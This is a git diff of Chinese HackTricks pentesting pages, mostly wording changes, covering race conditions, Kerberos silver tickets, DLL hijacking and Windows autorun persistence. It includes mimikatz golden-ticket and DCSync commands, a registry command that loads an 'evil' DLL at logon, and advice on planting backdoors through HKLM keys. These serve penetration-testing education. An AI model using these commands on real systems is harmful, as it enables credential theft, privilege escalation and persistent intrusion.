这是最基本的一种竞争条件,其中**漏洞**出现在**限制您执行某个操作的次数的地方**。比如在网店中多次使用相同的折扣码。一个非常简单的例子可以在[**这份报告**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)或者[**这个漏洞**](https://hackerone.com/reports/759247)**中找到**。
|
||||
|
||||
|
@ -235,17 +231,17 @@ asyncio.run(main())
|
|||
|
||||
* **我们是在进行编辑还是追加操作?**
|
||||
|
||||
编辑现有数据的操作(例如更改帐户的主电子邮件地址)具有充足的冲突潜力,而仅追加现有数据的操作(例如添加额外的电子邮件地址)不太可能受到除了限制超越攻击之外的任何漏洞。
|
||||
编辑现有数据的操作(例如更改帐户的主电子邮件地址)具有充足的冲突潜力,而仅追加到现有数据的操作(例如添加额外的电子邮件地址)不太可能受到除限制超出攻击之外的任何漏洞的影响。
|
||||
|
||||
* **操作的键是什么?**
|
||||
|
||||
大多数端点都在特定记录上操作,该记录使用“键”进行查找,例如用户名、密码重置令牌或文件名。为了成功攻击,我们需要使用相同键的两个操作。例如,想象两个合理的密码重置实现:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. **寻找线索**
|
||||
|
||||
此时是时候对潜在有趣的端点发起一些RC攻击,以尝试找到与常规响应不同的意外结果。任何与预期响应的偏差,例如一个或多个响应的变化,或者像电子邮件内容的不同或会话中的可见变化这样的二阶效应,都可能是指示出现问题的线索。
|
||||
此时是时候对潜在有趣的端点发起一些RC攻击,以尝试找到与常规响应不同的意外结果。任何与预期响应的改变,例如一个或多个响应的变化,或者像电子邮件内容的不同或会话中可见的更改这样的二阶效应,都可能是指示出现问题的线索。
|
||||
|
||||
3. **验证概念**
|
||||
|
||||
|
@ -262,7 +258,7 @@ asyncio.run(main())
|
|||
考虑一个仅使用时间戳进行随机化的**密码重置令牌**。在这种情况下,可能可以**触发两个不同用户的两个密码重置**,它们都使用**相同的令牌**。您只需要计时请求,以使它们生成相同的时间戳。
|
||||
|
||||
{% hint style="warning" %}
|
||||
要确认前面的情况,您只需同时请求**2个重置密码令牌**(使用单个数据包攻击),然后检查它们是否**相同**。
|
||||
要确认前面的情况,您只需同时请求**2个重置密码令牌**(使用单个数据包攻击),并检查它们是否**相同**。
|
||||
{% endhint %}
|
||||
|
||||
在[**此实验**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)中检查示例。
|
||||
|
@ -275,19 +271,19 @@ asyncio.run(main())
|
|||
|
||||
### 确认其他电子邮件
|
||||
|
||||
这个想法是**同时验证一个电子邮件地址并将其更改为另一个地址**,以查看平台是否验证了新的更改后的地址。
|
||||
这个想法是**同时验证一个电子邮件地址并将其更改为另一个地址**,以查看平台是否验证了新更改的地址。
|
||||
|
||||
### 将电子邮件更改为2个电子邮件地址基于Cookie
|
||||
|
||||
根据[**此篇文章**](https://portswigger.net/research/smashing-the-state-machine),Gitlab容易受到这种攻击的影响,因为它可能会将一个电子邮件的**电子邮件验证令牌发送到另一个电子邮件**。
|
||||
根据[**此篇文章**](https://portswigger.net/research/smashing-the-state-machine),Gitlab容易受到这种方式的接管,因为它可能会将一个电子邮件的**电子邮件验证令牌发送到另一个电子邮件**。
|
||||
|
||||
您还可以查看[**此实验**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)以了解更多信息。
|
||||
|
||||
### 隐藏的数据库状态/确认绕过
|
||||
|
||||
如果使用**2个不同的写操作**将**信息**添加到**数据库**中,那么在**只有第一个数据被写入**数据库的一小段时间内。例如,创建用户时,**用户名**和**密码**可能会被**写入**,然后写入用于确认新创建的帐户的**令牌**。这意味着在一小段时间内,**确认帐户的令牌为空**。
|
||||
如果使用**2个不同的写入**将**信息**添加到**数据库**中,那么在**只有第一个数据被写入**数据库的一小段时间内。例如,创建用户时,**用户名**和**密码**可能会被**写入**,然后写入用于确认新创建的帐户的**令牌**。这意味着在短时间内**确认帐户的令牌为空**。
|
||||
|
||||
因此,**注册一个帐户并发送多个带有空令牌**(`token=`或`token[]=`或任何其他变体)的请求以立即确认帐户,可以允许确认一个您无法控制电子邮件的帐户。
|
||||
因此,**注册一个帐户并发送多个带有空令牌的请求**(`token=`或`token[]=`或任何其他变体)立即确认帐户可能允许您确认一个您无法控制的电子邮件的帐户。
|
||||
|
||||
在[**此实验**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)中检查一个示例。
|
||||
|
||||
|
@ -301,7 +297,7 @@ session['enforce_mfa'] = True
|
|||
# generate and send MFA code to user
|
||||
# redirect browser to MFA code entry form
|
||||
```
|
||||
正如你所看到的,这实际上是一个**在单个请求的范围内的多步骤序列**。最重要的是,它会在一个子状态中转换,其中**用户在临时拥有有效的登录会话,但尚未强制执行多因素身份验证(MFA)**。攻击者可以通过发送登录请求以及对敏感的经过身份验证的端点的请求来利用这一点。
|
||||
正如你所看到的,这实际上是一个**在单个请求的范围内的多步骤序列**。最重要的是,它会在一个子状态中**临时拥有有效的登录会话,但尚未强制执行MFA**。攻击者可以通过发送登录请求以及对敏感的经过身份验证的端点的请求来利用这一点。
|
||||
|
||||
### OAuth2永久持久性
|
||||
|
||||
|
@ -310,7 +306,7 @@ session['enforce_mfa'] = True
|
|||
|
||||
#### `authorization_code`中的竞争条件
|
||||
|
||||
**问题**出现在您**接受并自动发送一个`authorization_code`**给恶意应用程序时。然后,该**应用程序滥用OAuth服务提供者中的竞争条件,从`authorization_code`为您的帐户生成多个AT/RT**(身份验证令牌/刷新令牌)。基本上,它将滥用您已经接受应用程序访问您的数据的事实,以**创建多个帐户**。然后,如果您**停止允许应用程序访问您的数据,一个AT/RT对将被删除,但其他对仍然有效**。
|
||||
**问题**出现在您**接受并自动发送一个`authorization_code`**给恶意应用程序时。然后,该**应用程序滥用OAuth服务提供者中的竞争条件,从`authorization_code`为您的帐户生成多个AT/RT**(身份验证令牌/刷新令牌)。基本上,它会滥用您已经接受应用程序访问您的数据的事实,以**创建多个帐户**。然后,如果您**停止允许应用程序访问您的数据,一个AT/RT对将被删除,但其他对仍然有效**。
|
||||
|
||||
#### `Refresh Token`中的竞争条件
|
||||
|
||||
|
@ -332,8 +328,8 @@ session['enforce_mfa'] = True
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 你在**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得最新版本的PEASS或下载PDF格式的HackTricks吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS 和 HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -51,7 +51,7 @@ kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**CIFS**服务允许您访问受害者的文件系统。您可以在此处找到其他服务:[https://adsecurity.org/?page\_id=183](https://adsecurity.org/?page\_id=183)。例如,您可以使用**HOST服务**在计算机上创建一个_schtask_。然后,您可以尝试列出受害者的任务来检查是否成功:`schtasks /S <hostname>`,或者您可以使用**HOST和RPCSS服务**在计算机上执行**WMI**查询,测试方法如下:`Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>`
|
||||
**CIFS**服务允许您访问受害者的文件系统。您可以在此处找到其他服务:[**https://adsecurity.org/?page\_id=183**](https://adsecurity.org/?page\_id=183)**。**例如,您可以使用**HOST服务**在计算机上创建一个_schtask_。然后,您可以尝试列出受害者的任务来检查是否成功:`schtasks /S <hostname>`或者您可以使用**HOST和RPCSS服务**在计算机上执行**WMI**查询,测试方法如下:`Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>`
|
||||
|
||||
### 缓解措施
|
||||
|
||||
|
@ -68,7 +68,7 @@ kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291
|
|||
| 服务类型 | 服务银票 |
|
||||
| ---------------------------------------- | ---------------------------------------------------------------- |
|
||||
| WMI | <p>HOST</p><p>RPCSS</p> |
|
||||
| PowerShell 远程管理 | <p>HOST</p><p>HTTP</p><p>根据操作系统还可能有:</p><p>WSMAN</p><p>RPCSS</p> |
|
||||
| PowerShell 远程管理 | <p>HOST</p><p>HTTP</p><p>根据操作系统还有:</p><p>WSMAN</p><p>RPCSS</p> |
|
||||
| WinRM | <p>HOST</p><p>HTTP</p><p>在某些情况下,您只需请求:WINRM</p> |
|
||||
| 计划任务 | HOST |
|
||||
| Windows 文件共享,也可以使用psexec | CIFS |
|
||||
|
@ -158,7 +158,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
|
|||
[dcsync.md](dcsync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
|
@ -168,7 +168,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
|
|
@ -5,22 +5,22 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 定义
|
||||
|
||||
首先,让我们先了解一下定义。DLL劫持在最广义上是指**欺骗一个合法/可信任的应用程序加载任意DLL**。术语如_DLL搜索顺序劫持_、_DLL加载顺序劫持_、_DLL欺骗_、_DLL注入_和_DLL侧加载_经常被错误地用来表示相同的意思。
|
||||
首先,让我们先了解一下定义。DLL劫持是指**欺骗一个合法/可信任的应用程序加载任意DLL**。术语如_DLL搜索顺序劫持_、_DLL加载顺序劫持_、_DLL欺骗_、_DLL注入_和_DLL侧加载_经常被错误地用来表示相同的意思。
|
||||
|
||||
DLL劫持可以用于**执行**代码、获取**持久性**和**提升权限**。在这三种情况中,**最不可能**发现的是**提升权限**。然而,由于这是权限提升部分的一部分,我将重点介绍这个选项。此外,无论目标是什么,DLL劫持的执行方式都是相同的。
|
||||
|
||||
|
@ -30,14 +30,14 @@ DLL劫持可以用于**执行**代码、获取**持久性**和**提升权限**
|
|||
|
||||
1. **DLL替换**:用恶意DLL替换合法DLL。这可以与_DLL代理_结合使用\[[2](https://kevinalmansa.github.io/application%20security/DLL-Proxying/)],以确保原始DLL的所有功能保持完整。
|
||||
2. **DLL搜索顺序劫持**:应用程序指定的没有路径的DLL按照特定顺序在固定位置进行搜索\[[3](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)]。通过将恶意DLL放在实际DLL之前进行搜索顺序劫持。这有时包括目标应用程序的工作目录。
|
||||
3. **幻影DLL劫持**:将恶意DLL放在缺失/不存在的DLL位置,合法应用程序尝试加载该DLL\[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)]。
|
||||
4. **DLL重定向**:更改搜索DLL的位置,例如通过编辑`%PATH%`环境变量,或`.exe.manifest` / `.exe.local`文件以包含包含恶意DLL的文件夹\[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)]。
|
||||
3. **幻影DLL劫持**:在合法应用程序尝试加载的缺失/不存在的DLL位置放置恶意DLL\[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)]。
|
||||
4. **DLL重定向**:更改DLL的搜索位置,例如通过编辑`%PATH%`环境变量或`.exe.manifest` / `.exe.local`文件以包含包含恶意DLL的文件夹\[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)]。
|
||||
5. **WinSxS DLL替换**:在目标DLL的相关WinSxS文件夹中用恶意DLL替换合法DLL。通常称为DLL侧加载\[[7](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf)]。
|
||||
6. **相对路径DLL劫持**:将合法应用程序复制(并可选择重命名)到用户可写入的文件夹中,与恶意DLL放在一起。在使用方式上,它与(签名的)二进制代理执行\[[8](https://attack.mitre.org/techniques/T1218/)]有相似之处。这种方法的变体有点自相矛盾,被称为“_bring your own LOLbin_”\[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)],其中合法应用程序与恶意DLL一起提供(而不是从受害者机器上的合法位置复制)。
|
||||
6. **相对路径DLL劫持**:将合法应用程序复制(并可选地重命名)到用户可写入的文件夹中,与恶意DLL放在一起。在使用方式上,它与(签名的)二进制代理执行\[[8](https://attack.mitre.org/techniques/T1218/)]有相似之处。这种方法的变体有点自相矛盾,被称为“_bring your own LOLbin_”\[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)],其中合法应用程序与恶意DLL一起提供(而不是从受害者机器上的合法位置复制)。
|
||||
|
||||
## 查找缺失的DLL
|
||||
|
||||
在系统中查找缺失的DLL最常见的方法是运行[procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon),**设置以下两个过滤器**:
|
||||
在系统中查找缺失的DLL的最常见方法是运行[procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon),**设置以下两个过滤器**:
|
||||
|
||||
![](<../../.gitbook/assets/image (311).png>)
|
||||
|
||||
|
@ -227,7 +227,7 @@ break;
|
|||
return TRUE;
|
||||
}
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
|
|
|
@ -5,16 +5,16 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的系统-**我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -52,7 +52,7 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
|
|||
## 注册表
|
||||
|
||||
{% hint style="info" %}
|
||||
注意:**Wow6432Node** 注册表项表示您正在运行的是 64 位 Windows 版本。操作系统使用此键为在 64 位 Windows 版本上运行的 32 位应用程序显示 HKEY\_LOCAL\_MACHINE\SOFTWARE 的单独视图。
|
||||
注意:**Wow6432Node** 注册表项表示您正在运行的是 64 位 Windows 版本。操作系统使用此键来为在 64 位 Windows 版本上运行的 32 位应用程序显示 HKEY\_LOCAL\_MACHINE\SOFTWARE 的单独视图。
|
||||
{% endhint %}
|
||||
|
||||
### 运行
|
||||
|
@ -92,11 +92,11 @@ Run 和 RunOnce 注册表键会导致程序在每次用户登录时运行。键
|
|||
在 Windows Vista 和更新版本中,默认不会创建此项。注册表运行键条目可以直接引用程序,也可以将其列为依赖项。例如,可以使用 RunOnceEx 的 "Depend" 键在登录时加载 DLL:`reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"`
|
||||
|
||||
{% hint style="info" %}
|
||||
**Exploit 1**:如果您可以在 **HKLM** 中的任何提及的注册表中写入内容,则可以在其他用户登录时提升权限。
|
||||
**漏洞 1**:如果您可以在 **HKLM** 中的任何提及的注册表中写入内容,则可以在其他用户登录时提升权限。
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
**Exploit 2**:如果您可以覆盖任何在 **HKLM** 中指定的二进制文件,则可以在其他用户登录时修改该二进制文件并提升权限。
|
||||
**漏洞 2**:如果您可以覆盖任何在 **HKLM** 中指定的二进制文件,则可以在其他用户登录时修改该二进制文件并提升权限。
|
||||
{% endhint %}
|
||||
```bash
|
||||
#CMD
|
||||
|
@ -160,10 +160,10 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru
|
|||
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
|
||||
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`
|
||||
|
||||
任何创建到启动子键所指向位置的快捷方式都会在登录/重启时启动服务。启动位置在本地计算机和当前用户中都有指定。
|
||||
任何创建到启动子键指向的位置的快捷方式都会在登录/重启时启动服务。启动位置在本地计算机和当前用户中都有指定。
|
||||
|
||||
{% hint style="info" %}
|
||||
如果你能覆盖掉 **HKLM** 下的任何\[User] Shell Folder,你就可以将其指向一个由你控制的文件夹,并放置一个后门,这样每当用户登录系统时,特权就会被提升并执行后门。
|
||||
如果你可以覆盖**HKLM**下的任何\[User] Shell Folder,你就可以将其指向一个由你控制的文件夹,并放置一个后门,这样每当用户登录系统时,特权就会被提升并执行后门。
|
||||
{% endhint %}
|
||||
```bash
|
||||
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
|
||||
|
@ -181,7 +181,7 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion
|
|||
`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`
|
||||
|
||||
通常,**Userinit**键指向userinit.exe,但如果该键被更改,那么该exe也将由Winlogon启动。\
|
||||
**Shell**键应该指向explorer.exe。
|
||||
**Shell**键应指向explorer.exe。
|
||||
```bash
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit"
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell"
|
||||
|
@ -273,14 +273,14 @@ reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components
|
|||
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
|
||||
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
|
||||
```
|
||||
请注意,注册表中将包含每个dll的1个新注册表,并由**CLSID**表示。您可以在`HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}`中找到CLSID信息。
|
||||
请注意,注册表中将包含每个dll的1个新注册表项,并由**CLSID**表示。您可以在`HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}`中找到CLSID信息。
|
||||
|
||||
### Internet Explorer扩展
|
||||
|
||||
* `HKLM\Software\Microsoft\Internet Explorer\Extensions`
|
||||
* `HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions`
|
||||
|
||||
